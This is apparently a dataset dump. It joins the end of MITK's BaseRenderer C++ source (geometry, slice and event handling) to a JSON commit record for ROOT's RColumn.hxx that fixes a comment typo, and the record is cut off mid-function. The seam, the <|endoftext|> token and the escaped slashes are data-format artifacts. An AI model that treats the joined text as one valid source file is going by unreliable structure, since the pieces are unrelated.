MapperSlotId mitk::BaseRenderer::defaultMapper = 1;\n\n\/\/##ModelId=3E33162C00D0\nvoid mitk::BaseRenderer::Paint()\n{\n}\n\n\/\/##ModelId=3E331632031E\nvoid mitk::BaseRenderer::Initialize()\n{\n}\n\n\/\/##ModelId=3E33163703D9\nvoid mitk::BaseRenderer::Resize(int w, int h)\n{\n  m_Size[0] = w;\n  m_Size[1] = h;\n\n  if(m_CameraController) \t \n    m_CameraController->Resize(w, h);\n\n  GetDisplayGeometry()->SetSizeInDisplayUnits(w, h);\n  \/\/@FIXME: die nchste Zeile ist nur da, weil der Anpassungsvorgang in SetSizeInDisplayUnits leider noch nicht richtig funktioniert.\n  GetDisplayGeometry()->Fit();\n}\n\n\/\/##ModelId=3E33163A0261\nvoid mitk::BaseRenderer::InitRenderer(mitk::RenderWindow* renderwindow)\n{\n  m_RenderWindow = renderwindow;\n}\n\n\/\/##ModelId=3E3799250397\nvoid mitk::BaseRenderer::InitSize(int w, int h)\n{\n  m_Size[0] = w;\n  m_Size[1] = h;\n  GetDisplayGeometry()->SetSizeInDisplayUnits(w, h, false);\n  GetDisplayGeometry()->Fit();\n}\n\nvoid mitk::BaseRenderer::SetSlice(unsigned int slice)\n{\n  if(m_Slice!=slice)\n  {\n    m_Slice = slice;\n    if(m_TimeSlicedWorldGeometry.IsNotNull())\n    {\n      SlicedGeometry3D* slicedWorldGeometry=dynamic_cast<SlicedGeometry3D*>(m_TimeSlicedWorldGeometry->GetGeometry3D(m_TimeStep));\n      if(slicedWorldGeometry!=NULL)\n      {\n        if(m_Slice >= slicedWorldGeometry->GetSlices())\n          m_Slice = slicedWorldGeometry->GetSlices()-1;\n        SetCurrentWorldGeometry2D(slicedWorldGeometry->GetGeometry2D(m_Slice));\n        m_CurrentWorldGeometry = slicedWorldGeometry;\n      }\n    }\n    else\n      Modified();\n  }\n}\n\nvoid mitk::BaseRenderer::SetTimeStep(unsigned int timeStep)\n{\n  if(m_TimeStep!=timeStep)\n  {\n    m_TimeStep = timeStep;\n    if(m_TimeSlicedWorldGeometry.IsNotNull())\n    {\n      if(m_TimeStep >= m_TimeSlicedWorldGeometry->GetTimeSteps())\n        m_TimeStep = m_TimeSlicedWorldGeometry->GetTimeSteps()-1;\n      SlicedGeometry3D* slicedWorldGeometry=dynamic_cast<SlicedGeometry3D*>(m_TimeSlicedWorldGeometry->GetGeometry3D(m_TimeStep));\n      if(slicedWorldGeometry!=NULL)\n      {\n        SetCurrentWorldGeometry2D(slicedWorldGeometry->GetGeometry2D(m_Slice));\n        m_CurrentWorldGeometry = slicedWorldGeometry;\n      }\n    }\n    else\n      Modified();\n  }\n}\n\n\/\/##ModelId=3E66CC590379\nvoid mitk::BaseRenderer::SetWorldGeometry(mitk::Geometry3D* geometry)\n{\n  itkDebugMacro(\"setting WorldGeometry to \" << geometry);\n\n  if(m_WorldGeometry != geometry)\n  {\n    m_WorldGeometry = geometry;\n    m_TimeSlicedWorldGeometry=dynamic_cast<TimeSlicedGeometry*>(geometry);\n    if(m_TimeSlicedWorldGeometry.IsNotNull())\n    {\n      itkDebugMacro(\"setting TimeSlicedWorldGeometry to \" << m_TimeSlicedWorldGeometry);\n      if(m_TimeStep >= m_TimeSlicedWorldGeometry->GetTimeSteps())\n        m_TimeStep = m_TimeSlicedWorldGeometry->GetTimeSteps()-1;\n      SlicedGeometry3D* slicedWorldGeometry=dynamic_cast<SlicedGeometry3D*>(m_TimeSlicedWorldGeometry->GetGeometry3D(m_TimeStep));\n      if(slicedWorldGeometry!=NULL)\n      {\n        if(m_Slice >= slicedWorldGeometry->GetSlices())\n          m_Slice = slicedWorldGeometry->GetSlices()-1;\n      }\n      assert(slicedWorldGeometry!=NULL); \/\/only as long as the todo described in SetWorldGeometry is not done\n      SetCurrentWorldGeometry2D(slicedWorldGeometry->GetGeometry2D(m_Slice)); \/\/ calls Modified()\n      m_CurrentWorldGeometry = slicedWorldGeometry;\n    }\n    else\n    {\n      Geometry2D* geometry2d=dynamic_cast<Geometry2D*>(geometry);\n      SetCurrentWorldGeometry2D(geometry2d);\n      m_CurrentWorldGeometry = geometry2d;\n      Modified();\n    }\n  }\n  if(m_CurrentWorldGeometry2D.IsNull())\n    itkWarningMacro(\"m_CurrentWorldGeometry2D is NULL\");\n}\n\n\/\/##ModelId=3E66CC59026B\nvoid mitk::BaseRenderer::SetDisplayGeometry(mitk::DisplayGeometry* geometry2d)\n{\n  itkDebugMacro(\"setting DisplayGeometry to \" << geometry2d);\n  if (m_DisplayGeometry != geometry2d)\n  {\n    m_DisplayGeometry = geometry2d;\n    m_DisplayGeometryData->SetGeometry2D(m_DisplayGeometry);\n    m_DisplayGeometryUpdateTime.Modified();\n    Modified();\n  }\n}\n\nvoid mitk::BaseRenderer::SetCurrentWorldGeometry2D(mitk::Geometry2D* geometry2d)\n{\n  if (m_CurrentWorldGeometry2D != geometry2d)\n  {\n    m_CurrentWorldGeometry2D = geometry2d;\n    m_CurrentWorldGeometry2DData->SetGeometry2D(m_CurrentWorldGeometry2D);\n    m_DisplayGeometry->SetWorldGeometry(m_CurrentWorldGeometry2D);\n    m_CurrentWorldGeometry2DUpdateTime.Modified();\n    Modified();\n  }\n}\n\nvoid mitk::BaseRenderer::SetGeometry(const itk::EventObject & geometrySendEvent)\n{\n  const SliceNavigationController::GeometrySendEvent* sendEvent =\n    dynamic_cast<const SliceNavigationController::GeometrySendEvent *>(&geometrySendEvent);\n\n  assert(sendEvent !=NULL);\n  SetWorldGeometry(sendEvent ->GetTimeSlicedGeometry());\n}\n\nvoid mitk::BaseRenderer::SetGeometrySlice(const itk::EventObject & geometrySliceEvent)\n{\n  const SliceNavigationController::GeometrySliceEvent* sliceEvent =\n    dynamic_cast<const SliceNavigationController::GeometrySliceEvent *>(&geometrySliceEvent);\n\n  assert(sliceEvent!=NULL);\n  SetSlice(sliceEvent->GetPos());\n}\n\nvoid mitk::BaseRenderer::SetGeometryTime(const itk::EventObject & geometryTimeEvent)\n{\n  const SliceNavigationController::GeometryTimeEvent * timeEvent =\n    dynamic_cast<const SliceNavigationController::GeometryTimeEvent *>(&geometryTimeEvent);\n\n  assert(timeEvent!=NULL);\n  SetTimeStep(timeEvent->GetPos());\n}\n\n\/\/##ModelId=3E6D5DD30322\nvoid mitk::BaseRenderer::MousePressEvent(mitk::MouseEvent *me)\n{\n  \/\/set the Focus on the renderer\n  mitk::GlobalInteraction *globalInteraction = dynamic_cast<mitk::GlobalInteraction *>(EventMapper::GetGlobalStateMachine());\n  if (globalInteraction != NULL)\n  {\n    bool success = globalInteraction->SetFocus(this);\n    if (! success) \n      mitk::StatusBar::DisplayText(\"Warning! from mitkBaseRenderer.cpp: Couldn't focus this BaseRenderer!\");\n  }\n\n  if (m_CameraController)\n  {\n    if(me->GetButtonState()!=512) \/\/ provisorisch: Ctrl nicht durchlassen. Bald wird aus m_CameraController eine StateMachine\n      m_CameraController->MousePressEvent(me);\n  }\n  if(m_MapperID==1)\n  {\n    Point2D p(me->GetDisplayPosition());\n    Point2D p_mm;\n    Point3D position;\n    GetDisplayGeometry()->ULDisplayToDisplay(p,p);\n    GetDisplayGeometry()->DisplayToMM(p, p_mm);\n    GetDisplayGeometry()->Map(p_mm, position);\n    mitk::PositionEvent event(this, me->GetType(), me->GetButton(), me->GetButtonState(), mitk::Key_unknown, p, position);\n    mitk::EventMapper::MapEvent(&event);\n  }\n  else if(m_MapperID==2)\n  {\n    Point2D p(me->GetDisplayPosition());\n\n    GetDisplayGeometry()->ULDisplayToDisplay(p,p);\n\/\/    std::cout << \"press event!\" << std::endl;\n    me->SetDisplayPosition(p);\n    mitk::EventMapper::MapEvent(me);\n  }\n}\n\n\/\/##ModelId=3E6D5DD30372\nvoid mitk::BaseRenderer::MouseReleaseEvent(mitk::MouseEvent *me)\n{\n  if (m_CameraController)\n  {\n    if(me->GetButtonState()!=512) \/\/ provisorisch: Ctrl nicht durchlassen. Bald wird aus m_CameraController eine StateMachine\n      m_CameraController->MouseReleaseEvent(me);\n  }\n\n  if(m_MapperID==1)\n  {\n    Point2D p(me->GetDisplayPosition());\n    Point2D p_mm;\n    Point3D position;\n    GetDisplayGeometry()->ULDisplayToDisplay(p,p);\n    GetDisplayGeometry()->DisplayToMM(p, p_mm);\n    GetDisplayGeometry()->Map(p_mm, position);\n    mitk::PositionEvent event(this, me->GetType(), me->GetButton(), me->GetButtonState(), mitk::Key_unknown, p, position);\n    mitk::EventMapper::MapEvent(&event);\n  }\n  else if(m_MapperID==2)\n  {\n    Point2D p(me->GetDisplayPosition());\n    GetDisplayGeometry()->ULDisplayToDisplay(p,p);\n    me->SetDisplayPosition(p);\n    mitk::EventMapper::MapEvent(me);\n  }\n}\n\n\/\/##ModelId=3E6D5DD303C2\nvoid mitk::BaseRenderer::MouseMoveEvent(mitk::MouseEvent *me)\n{\n  if (m_CameraController)\n  {\n    if((me->GetButtonState()<=512) || (me->GetButtonState()>=516))\/\/ provisorisch: Ctrl nicht durchlassen. Bald wird aus m_CameraController eine StateMachine\n      m_CameraController->MouseMoveEvent(me);\n  }\n  if(m_MapperID==1)\n  {\n    Point2D p(me->GetDisplayPosition());\n    Point2D p_mm;\n    Point3D position;\n    GetDisplayGeometry()->ULDisplayToDisplay(p,p);\n    GetDisplayGeometry()->DisplayToMM(p, p_mm);\n    GetDisplayGeometry()->Map(p_mm, position);\n    mitk::PositionEvent event(this, me->GetType(), me->GetButton(), me->GetButtonState(), mitk::Key_unknown, p, position);\n    mitk::EventMapper::MapEvent(&event);\n  }\n  else if(m_MapperID==2)\n  {\n    Point2D p(me->GetDisplayPosition());\n    GetDisplayGeometry()->ULDisplayToDisplay(p,p);\n    me->SetDisplayPosition(p);\n    mitk::EventMapper::MapEvent(me);\n  }\n}\n\nvoid mitk::BaseRenderer::PickWorldPoint(const mitk::Point2D& displayPoint, mitk::Point3D& worldPoint) const\n{\n  mitk::Point2D worldPoint2D;\n  GetDisplayGeometry()->DisplayToMM(displayPoint, worldPoint2D);\n  GetDisplayGeometry()->Map(worldPoint2D, worldPoint);\n}\n\nvoid mitk::BaseRenderer::WheelEvent(mitk::WheelEvent *we)\n{\n  \/\/mitk::Event event(this, ke->type(), Qt::NoButton, Qt::NoButton, ke->key());\n  \/\/mitk::EventMapper::MapEvent(&event);\n}\n\n\/\/##ModelId=3E6D5DD4002A\nvoid mitk::BaseRenderer::KeyPressEvent(mitk::KeyEvent *ke)\n{\n  if (m_CameraController)\n    m_CameraController->KeyPressEvent(ke);\n  mitk::Event event(this, ke->type(), BS_NoButton, BS_NoButton, ke->key());\n  mitk::EventMapper::MapEvent(&event);\n}\n\n\/\/##ModelId=3EF1627503C4\nvoid mitk::BaseRenderer::MakeCurrent()\n{\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/ \\file ROOT\/RColumn.hxx\n\/\/\/ \\ingroup NTuple ROOT7\n\/\/\/ \\author Jakob Blomer <jblomer@cern.ch>\n\/\/\/ \\date 2018-10-09\n\/\/\/ \\warning This is part of the ROOT 7 prototype! It will change without notice. It might trigger earthquakes. Feedback\n\/\/\/ is welcome!\n\n\/*************************************************************************\n * Copyright (C) 1995-2019, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT7_RColumn\n#define ROOT7_RColumn\n\n#include <ROOT\/RColumnElement.hxx>\n#include <ROOT\/RColumnModel.hxx>\n#include <ROOT\/RNTupleUtil.hxx>\n#include <ROOT\/RPage.hxx>\n#include <ROOT\/RPageStorage.hxx>\n\n#include <TError.h>\n\n#include <memory>\n\nnamespace ROOT {\nnamespace Experimental {\nnamespace Detail {\n\n\/\/ clang-format off\n\/**\n\\class ROOT::Experimental::RColumn\n\\ingroup NTuple\n\\brief A column is a storage-backed array of a simple, fixed-size type, from which pages can be mapped into memory.\n\nOn the primitives data layer, the RColumn and RColumnElement are the equivalents to RField and RFieldValue on the\nlogical data layer.\n*\/\n\/\/ clang-format on\nclass RColumn {\nprivate:\n   RColumnModel fModel;\n   \/**\n    * Columns belonging to the same field are distinguished by their order.  E.g. for an std::string field, there is\n    * the offset column with index 0 and the character value column with index 1.\n    *\/\n   std::uint32_t fIndex;\n   RPageSink *fPageSink = nullptr;\n   RPageSource *fPageSource = nullptr;\n   RPageStorage::ColumnHandle_t fHandleSink;\n   RPageStorage::ColumnHandle_t fHandleSource;\n   \/\/\/ A set of open pages into which new elements are being written. The pages are used\n   \/\/\/ in rotation. They are 50% bigger than the target size given by the write options.\n   \/\/\/ The current page is filled until the target size, but it is only committed once the other\n   \/\/\/ head page is filled at least 50%. If a flush occurs earlier, a slightly oversize, single\n   \/\/\/ page will be committed.\n   RPage fHeadPage[2];\n   \/\/\/ Index of the current head page\n   int fHeadPageIdx = 0;\n   \/\/\/ For writing, the targeted number of elements, given by `fApproxNElementsPerPage` (in the write options) and the element size.\n   \/\/\/ We ensure this value to be >= 2 in Connect() so that we have meaningful\n   \/\/\/ \"page full\" and \"page half full\" events when writing the page.\n   std::uint32_t fApproxNElementsPerPage = 0;\n   \/\/\/ The number of elements written resp. available in the column\n   NTupleSize_t fNElements = 0;\n   \/\/\/ The currently mapped page for reading\n   RPage fCurrentPage;\n   \/\/\/ The column id is used to find matching pages with content when reading\n   ColumnId_t fColumnIdSource = kInvalidColumnId;\n   \/\/\/ Used to pack and unpack pages on writing\/reading\n   std::unique_ptr<RColumnElementBase> fElement;\n\n   RColumn(const RColumnModel &model, std::uint32_t index);\n\n   \/\/\/ Used in Append() and AppendV() to switch pages when the main page reached the target size\n   \/\/\/ The other page has been flushed when the main page reached 50%.\n   void SwapHeadPages() {\n      fHeadPageIdx = 1 - fHeadPageIdx; \/\/ == (fHeadPageIdx + 1) % 2\n      R__ASSERT(fHeadPage[fHeadPageIdx].IsEmpty());\n      fHeadPage[fHeadPageIdx].Reset(fNElements);\n   }\n\n   \/\/\/ When the main head page surpasses the 50% fill level, the (full) shadow head page gets flushed\n   void FlushShadowHeadPage() {\n      auto otherIdx = 1 - fHeadPageIdx;\n      if (fHeadPage[otherIdx].IsEmpty())\n         return;\n      fPageSink->CommitPage(fHandleSink, fHeadPage[otherIdx]);\n      \/\/ Mark the page as flushed; the rangeFirst is zero for now but will be reset to\n      \/\/ fNElements in SwapHeadPages() when the pages swap\n      fHeadPage[otherIdx].Reset(0);\n   }\n\npublic:\n   template <typename CppT, EColumnType ColumnT>\n   static RColumn *Create(const RColumnModel &model, std::uint32_t index) {\n      R__ASSERT(model.GetType() == ColumnT);\n      auto column = new RColumn(model, index);\n      column->fElement = std::unique_ptr<RColumnElementBase>(new RColumnElement<CppT, ColumnT>(nullptr));\n      return column;\n   }\n\n   RColumn(const RColumn&) = delete;\n   RColumn &operator =(const RColumn&) = delete;\n   ~RColumn();\n\n   void Connect(DescriptorId_t fieldId, RPageStorage *pageStorage);\n\n   void Append(const RColumnElementBase &element) {\n      void *dst = fHeadPage[fHeadPageIdx].GrowUnchecked(1);\n\n      if (fHeadPage[fHeadPageIdx].GetNElements() == fApproxNElementsPerPage \/ 2) {\n         FlushShadowHeadPage();\n      }\n\n      element.WriteTo(dst, 1);\n      fNElements++;\n\n      if (fHeadPage[fHeadPageIdx].GetNElements() == fApproxNElementsPerPage)\n         SwapHeadPages();\n   }\n\n   void AppendV(const RColumnElementBase &elemArray, std::size_t count) {\n      \/\/ We might not have enough space in the current page. In this case, fall back to one by one filling.\n      if (fHeadPage[fHeadPageIdx].GetNElements() + count > fApproxNElementsPerPage) {\n         \/\/ TODO(jblomer): use (fewer) calls to AppendV to write the data page-by-page\n         for (unsigned i = 0; i < count; ++i) {\n            Append(RColumnElementBase(elemArray, i));\n         }\n         return;\n      }\n\n      void *dst = fHeadPage[fHeadPageIdx].GrowUnchecked(count);\n\n      \/\/ The check for flushing the shadow page is more complicated than for the Append() case\n      \/\/ because we don't necessarily fill up to exactly fApproxNElementsPerPage \/ 2 elements;\n      \/\/ we might instead jump over the 50% fill level\n      if ((fHeadPage[fHeadPageIdx].GetNElements() <= fApproxNElementsPerPage \/ 2) &&\n          (fHeadPage[fHeadPageIdx].GetNElements() + count > fApproxNElementsPerPage \/ 2))\n      {\n         FlushShadowHeadPage();\n      }\n\n      elemArray.WriteTo(dst, count);\n      fNElements += count;\n\n      \/\/ Note that by the very first check, we cannot have filled more than fApproxNElementsPerPage elements\n      if (fHeadPage[fHeadPageIdx].GetNElements() == fApproxNElementsPerPage)\n         SwapHeadPages();\n   }\n\n   void Read(const NTupleSize_t globalIndex, RColumnElementBase *element) {\n      if (!fCurrentPage.Contains(globalIndex)) {\n         MapPage(globalIndex);\n         R__ASSERT(fCurrentPage.Contains(globalIndex));\n      }\n      void *src = static_cast<unsigned char *>(fCurrentPage.GetBuffer()) +\n                  (globalIndex - fCurrentPage.GetGlobalRangeFirst()) * element->GetSize();\n      element->ReadFrom(src, 1);\n   }\n\n   void Read(const RClusterIndex &clusterIndex, RColumnElementBase *element) {\n      if (!fCurrentPage.Contains(clusterIndex)) {\n         MapPage(clusterIndex);\n      }\n      void *src = static_cast<unsigned char *>(fCurrentPage.GetBuffer()) +\n                  (clusterIndex.GetIndex() - fCurrentPage.GetClusterRangeFirst()) * element->GetSize();\n      element->ReadFrom(src, 1);\n   }\n\n   void ReadV(const NTupleSize_t globalIndex, const ClusterSize_t::ValueType count, RColumnElementBase *elemArray) {\n      R__ASSERT(count > 0);\n      if (!fCurrentPage.Contains(globalIndex)) {\n         MapPage(globalIndex);\n      }\n      NTupleSize_t idxInPage = globalIndex - fCurrentPage.GetGlobalRangeFirst();\n\n      void *src = static_cast<unsigned char *>(fCurrentPage.GetBuffer()) + idxInPage * elemArray->GetSize();\n      if (globalIndex + count <= fCurrentPage.GetGlobalRangeLast() + 1) {\n         elemArray->ReadFrom(src, count);\n      } else {\n         ClusterSize_t::ValueType nBatch = fCurrentPage.GetNElements() - idxInPage;\n         elemArray->ReadFrom(src, nBatch);\n         RColumnElementBase elemTail(*elemArray, nBatch);\n         ReadV(globalIndex + nBatch, count - nBatch, &elemTail);\n      }\n   }\n\n   void ReadV(const RClusterIndex &clusterIndex, const ClusterSize_t::ValueType count, RColumnElementBase *elemArray)\n   {\n      if (!fCurrentPage.Contains(clusterIndex)) {\n         MapPage(clusterIndex);\n      }\n      NTupleSize_t idxInPage = clusterIndex.GetIndex() - fCurrentPage.GetClusterRangeFirst();\n\n      void* src = static_cast<unsigned char *>(fCurrentPage.GetBuffer()) + idxInPage * elemArray->GetSize();\n      if (clusterIndex.GetIndex() + count <= fCurrentPage.GetClusterRangeLast() + 1) {\n         elemArray->ReadFrom(src, count);\n      } else {\n         ClusterSize_t::ValueType nBatch = fCurrentPage.GetNElements() - idxInPage;\n         elemArray->ReadFrom(src, nBatch);\n         RColumnElementBase elemTail(*elemArray, nBatch);\n         ReadV(RClusterIndex(clusterIndex.GetClusterId(), clusterIndex.GetIndex() + nBatch), count - nBatch, &elemTail);\n      }\n   }\n\n   template <typename CppT>\n   CppT *Map(const NTupleSize_t globalIndex) {\n      NTupleSize_t nItems;\n      return MapV<CppT>(globalIndex, nItems);\n   }\n\n   template <typename CppT>\n   CppT *Map(const RClusterIndex &clusterIndex) {\n      NTupleSize_t nItems;\n      return MapV<CppT>(clusterIndex, nItems);\n   }\n\n   template <typename CppT>\n   CppT *MapV(const NTupleSize_t globalIndex, NTupleSize_t &nItems) {\n      if (!fCurrentPage.Contains(globalIndex)) {\n         MapPage(globalIndex);\n      }\n      \/\/ +1 to go from 0-based indexing to 1-based number of items\n      nItems = fCurrentPage.GetGlobalRangeLast() - globalIndex + 1;\n      return reinterpret_cast<CppT*>(\n         static_cast<unsigned char *>(fCurrentPage.GetBuffer()) +\n         (globalIndex - fCurrentPage.GetGlobalRangeFirst()) * RColumnElement<CppT>::kSize);\n   }\n\n   template <typename CppT>\n   CppT *MapV(const RClusterIndex &clusterIndex, NTupleSize_t &nItems) {\n      if (!fCurrentPage.Contains(clusterIndex)) {\n         MapPage(clusterIndex);\n      }\n      \/\/ +1 to go from 0-based indexing to 1-based number of items\n      nItems = fCurrentPage.GetClusterRangeLast() - clusterIndex.GetIndex() + 1;\n      return reinterpret_cast<CppT*>(\n         static_cast<unsigned char *>(fCurrentPage.GetBuffer()) +\n         (clusterIndex.GetIndex() - fCurrentPage.GetClusterRangeFirst()) * RColumnElement<CppT>::kSize);\n   }\n\n   NTupleSize_t GetGlobalIndex(const RClusterIndex &clusterIndex) {\n      if (!fCurrentPage.Contains(clusterIndex)) {\n         MapPage(clusterIndex);\n      }\n      return fCurrentPage.GetClusterInfo().GetIndexOffset() + clusterIndex.GetIndex();\n   }\n\n   RClusterIndex GetClusterIndex(NTupleSize_t globalIndex) {\n      if (!fCurrentPage.Contains(globalIndex)) {\n         MapPage(globalIndex);\n      }\n      return RClusterIndex(fCurrentPage.GetClusterInfo().GetId(),\n                           globalIndex - fCurrentPage.GetClusterInfo().GetIndexOffset());\n   }\n\n   \/\/\/ For offset columns only, look at the two adjacent values that define a collection's coordinates\n   void GetCollectionInfo(const NTupleSize_t globalIndex, RClusterIndex *collectionStart, ClusterSize_t *collectionSize)\n   {\n      auto idxStart = (globalIndex == 0) ? 0 : *Map<ClusterSize_t>(globalIndex - 1);\n      auto idxEnd = *Map<ClusterSize_t>(globalIndex);\n      auto selfOffset = fCurrentPage.GetClusterInfo().GetIndexOffset();\n      if (globalIndex == selfOffset) {\n         \/\/ Passed cluster boundary\n         idxStart = 0;\n      }\n      *collectionSize = idxEnd - idxStart;\n      *collectionStart = RClusterIndex(fCurrentPage.GetClusterInfo().GetId(), idxStart);\n   }\n\n   void GetCollectionInfo(const RClusterIndex &clusterIndex,\n                          RClusterIndex *collectionStart, ClusterSize_t *collectionSize)\n   {\n      auto index = clusterIndex.GetIndex();\n      auto idxStart = (index == 0) ? 0 : *Map<ClusterSize_t>(clusterIndex - 1);\n      auto idxEnd = *Map<ClusterSize_t>(clusterIndex);\n      *collectionSize = idxEnd - idxStart;\n      *collectionStart = RClusterIndex(clusterIndex.GetClusterId(), idxStart);\n   }\n\n   \/\/\/ Get the currently active cluster id\n   void GetSwitchInfo(NTupleSize_t globalIndex, RClusterIndex *varIndex, std::uint32_t *tag) {\n      auto varSwitch = Map<RColumnSwitch>(globalIndex);\n      *varIndex = RClusterIndex(fCurrentPage.GetClusterInfo().GetId(), varSwitch->GetIndex());\n      *tag = varSwitch->GetTag();\n   }\n\n   void Flush();\n   void MapPage(const NTupleSize_t index);\n   void MapPage(const RClusterIndex &clusterIndex);\n   NTupleSize_t GetNElements() const { return fNElements; }\n   RColumnElementBase *GetElement() const { return fElement.get(); }\n   const RColumnModel &GetModel() const { return fModel; }\n   std::uint32_t GetIndex() const { return fIndex; }\n   ColumnId_t GetColumnIdSource() const { return fColumnIdSource; }\n   RPageSource *GetPageSource() const { return fPageSource; }\n   RPageStorage::ColumnHandle_t GetHandleSource() const { return fHandleSource; }\n   RPageStorage::ColumnHandle_t GetHandleSink() const { return fHandleSink; }\n   RNTupleVersion GetVersion() const { return RNTupleVersion(); }\n};\n\n} \/\/ namespace Detail\n\n} \/\/ namespace Experimental\n} \/\/ namespace ROOT\n\n#endif\n<commit_msg>[ntuple, NFC] Fix typo in code comment<commit_after>\/\/\/ \\file ROOT\/RColumn.hxx\n\/\/\/ \\ingroup NTuple ROOT7\n\/\/\/ \\author Jakob Blomer <jblomer@cern.ch>\n\/\/\/ \\date 2018-10-09\n\/\/\/ \\warning This is part of the ROOT 7 prototype! It will change without notice. It might trigger earthquakes. Feedback\n\/\/\/ is welcome!\n\n\/*************************************************************************\n * Copyright (C) 1995-2019, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT7_RColumn\n#define ROOT7_RColumn\n\n#include <ROOT\/RColumnElement.hxx>\n#include <ROOT\/RColumnModel.hxx>\n#include <ROOT\/RNTupleUtil.hxx>\n#include <ROOT\/RPage.hxx>\n#include <ROOT\/RPageStorage.hxx>\n\n#include <TError.h>\n\n#include <memory>\n\nnamespace ROOT {\nnamespace Experimental {\nnamespace Detail {\n\n\/\/ clang-format off\n\/**\n\\class ROOT::Experimental::RColumn\n\\ingroup NTuple\n\\brief A column is a storage-backed array of a simple, fixed-size type, from which pages can be mapped into memory.\n\nOn the primitives data layer, the RColumn and RColumnElement are the equivalents to RField and RFieldValue on the\nlogical data layer.\n*\/\n\/\/ clang-format on\nclass RColumn {\nprivate:\n   RColumnModel fModel;\n   \/**\n    * Columns belonging to the same field are distinguished by their order.  E.g. for an std::string field, there is\n    * the offset column with index 0 and the character value column with index 1.\n    *\/\n   std::uint32_t fIndex;\n   RPageSink *fPageSink = nullptr;\n   RPageSource *fPageSource = nullptr;\n   RPageStorage::ColumnHandle_t fHandleSink;\n   RPageStorage::ColumnHandle_t fHandleSource;\n   \/\/\/ A set of open pages into which new elements are being written. The pages are used\n   \/\/\/ in rotation. They are 50% bigger than the target size given by the write options.\n   \/\/\/ The current page is filled until the target size, but it is only committed once the other\n   \/\/\/ head page is filled at least 50%. If a flush occurs earlier, a slightly oversized, single\n   \/\/\/ page will be committed.\n   RPage fHeadPage[2];\n   \/\/\/ Index of the current head page\n   int fHeadPageIdx = 0;\n   \/\/\/ For writing, the targeted number of elements, given by `fApproxNElementsPerPage` (in the write options) and the element size.\n   \/\/\/ We ensure this value to be >= 2 in Connect() so that we have meaningful\n   \/\/\/ \"page full\" and \"page half full\" events when writing the page.\n   std::uint32_t fApproxNElementsPerPage = 0;\n   \/\/\/ The number of elements written resp. available in the column\n   NTupleSize_t fNElements = 0;\n   \/\/\/ The currently mapped page for reading\n   RPage fCurrentPage;\n   \/\/\/ The column id is used to find matching pages with content when reading\n   ColumnId_t fColumnIdSource = kInvalidColumnId;\n   \/\/\/ Used to pack and unpack pages on writing\/reading\n   std::unique_ptr<RColumnElementBase> fElement;\n\n   RColumn(const RColumnModel &model, std::uint32_t index);\n\n   \/\/\/ Used in Append() and AppendV() to switch pages when the main page reached the target size\n   \/\/\/ The other page has been flushed when the main page reached 50%.\n   void SwapHeadPages() {\n      fHeadPageIdx = 1 - fHeadPageIdx; \/\/ == (fHeadPageIdx + 1) % 2\n      R__ASSERT(fHeadPage[fHeadPageIdx].IsEmpty());\n      fHeadPage[fHeadPageIdx].Reset(fNElements);\n   }\n\n   \/\/\/ When the main head page surpasses the 50% fill level, the (full) shadow head page gets flushed\n   void FlushShadowHeadPage() {\n      auto otherIdx = 1 - fHeadPageIdx;\n      if (fHeadPage[otherIdx].IsEmpty())\n         return;\n      fPageSink->CommitPage(fHandleSink, fHeadPage[otherIdx]);\n      \/\/ Mark the page as flushed; the rangeFirst is zero for now but will be reset to\n      \/\/ fNElements in SwapHeadPages() when the pages swap\n      fHeadPage[otherIdx].Reset(0);\n   }\n\npublic:\n   template <typename CppT, EColumnType ColumnT>\n   static RColumn *Create(const RColumnModel &model, std::uint32_t index) {\n      R__ASSERT(model.GetType() == ColumnT);\n      auto column = new RColumn(model, index);\n      column->fElement = std::unique_ptr<RColumnElementBase>(new RColumnElement<CppT, ColumnT>(nullptr));\n      return column;\n   }\n\n   RColumn(const RColumn&) = delete;\n   RColumn &operator =(const RColumn&) = delete;\n   ~RColumn();\n\n   void Connect(DescriptorId_t fieldId, RPageStorage *pageStorage);\n\n   void Append(const RColumnElementBase &element) {\n      void *dst = fHeadPage[fHeadPageIdx].GrowUnchecked(1);\n\n      if (fHeadPage[fHeadPageIdx].GetNElements() == fApproxNElementsPerPage \/ 2) {\n         FlushShadowHeadPage();\n      }\n\n      element.WriteTo(dst, 1);\n      fNElements++;\n\n      if (fHeadPage[fHeadPageIdx].GetNElements() == fApproxNElementsPerPage)\n         SwapHeadPages();\n   }\n\n   void AppendV(const RColumnElementBase &elemArray, std::size_t count) {\n      \/\/ We might not have enough space in the current page. In this case, fall back to one by one filling.\n      if (fHeadPage[fHeadPageIdx].GetNElements() + count > fApproxNElementsPerPage) {\n         \/\/ TODO(jblomer): use (fewer) calls to AppendV to write the data page-by-page\n         for (unsigned i = 0; i < count; ++i) {\n            Append(RColumnElementBase(elemArray, i));\n         }\n         return;\n      }\n\n      void *dst = fHeadPage[fHeadPageIdx].GrowUnchecked(count);\n\n      \/\/ The check for flushing the shadow page is more complicated than for the Append() case\n      \/\/ because we don't necessarily fill up to exactly fApproxNElementsPerPage \/ 2 elements;\n      \/\/ we might instead jump over the 50% fill level\n      if ((fHeadPage[fHeadPageIdx].GetNElements() <= fApproxNElementsPerPage \/ 2) &&\n          (fHeadPage[fHeadPageIdx].GetNElements() + count > fApproxNElementsPerPage \/ 2))\n      {\n         FlushShadowHeadPage();\n      }\n\n      elemArray.WriteTo(dst, count);\n      fNElements += count;\n\n      \/\/ Note that by the very first check, we cannot have filled more than fApproxNElementsPerPage elements\n      if (fHeadPage[fHeadPageIdx].GetNElements() == fApproxNElementsPerPage)\n         SwapHeadPages();\n   }\n\n   void Read(const NTupleSize_t globalIndex, RColumnElementBase *element) {\n      if (!fCurrentPage.Contains(globalIndex)) {\n         MapPage(globalIndex);\n         R__ASSERT(fCurrentPage.Contains(globalIndex));\n      }\n      void *src = static_cast<unsigned char *>(fCurrentPage.GetBuffer()) +\n                  (globalIndex - fCurrentPage.GetGlobalRangeFirst()) * element->GetSize();\n      element->ReadFrom(src, 1);\n   }\n\n   void Read(const RClusterIndex &clusterIndex, RColumnElementBase *element) {\n      if 